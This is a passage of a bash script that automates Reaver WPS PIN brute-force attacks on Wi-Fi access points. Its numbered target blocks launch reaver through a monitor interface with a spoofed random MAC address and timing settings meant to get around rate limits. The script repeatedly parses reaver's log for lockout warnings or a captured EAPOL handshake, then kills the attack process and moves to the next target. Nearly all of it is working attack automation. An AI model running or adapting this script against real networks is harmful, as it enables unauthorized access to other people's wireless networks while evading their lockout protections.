	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP23 (ESSID: $NMEWARN23)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP23 (ESSID: $NMEWARN23)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R23 == y || $USE_R23 == Y ]] && [[ $USE_LONG23 == n || $USE_LONG23 == N ]] && [[ $USE_PIN23 == y || $USE_PIN23 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME23"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL23"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP23"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX23" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY23"
echo -e "$info Reaver live time                   = $yel$LIVE23 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME23-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL23 -b $TARGETAP23 -vv -x 60 -r $RX23:$RY23 --pin=$WPS_PIN23 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME23-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE23-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP23 (ESSID: $NMEWARN23)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP23 (ESSID: $NMEWARN23)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R23 == n || $USE_R23 == N ]] && [[ $USE_LONG23 == y || $USE_LONG23 == Y ]] && [[ $USE_PIN23 == y || $USE_PIN23 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME23"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL23"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP23"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE23 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME23-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL23 -b $TARGETAP23 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN23 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME23-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE23-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP23 (ESSID: $NMEWARN23)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP23 (ESSID: $NMEWARN23)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R23 == y || $USE_R23 == Y ]] && [[ $USE_LONG23 == y || $USE_LONG23 == Y ]] && [[ $USE_PIN23 == y || $USE_PIN23 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME23"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL23"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP23"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX23" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY23"
echo -e "$info Reaver live time                   = $yel$LIVE23 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME23-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL23 -b $TARGETAP23 -r $RX23:$RY23 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN23 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME23-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE23-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP23 (ESSID: $NMEWARN23)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME23-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME23-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME23-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP23 (ESSID: $NMEWARN23)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE23 == n ] || [ $KEEP_FILE23 == N ]; then

          rm VARMAC_LOGS/$NAME23-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R24 == n || $USE_R24 == N ]] && [[ $USE_LONG24 == n || $USE_LONG24 == N ]] && [[ $USE_PIN24 == n || $USE_PIN24 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME24"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL24"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP24"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE24 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME24-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL24 -b $TARGETAP24 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME24-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE24-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP24 (ESSID: $NMEWARN24)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP24 (ESSID: $NMEWARN24)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R24 == y || $USE_R24 == Y ]] && [[ $USE_LONG24 == n || $USE_LONG24 == N ]] && [[ $USE_PIN24 == n || $USE_PIN24 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME24"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL24"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP24"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX24" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY24"
echo -e "$info Reaver live time                   = $yel$LIVE24 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME24-$DATEFILE-$PAD"
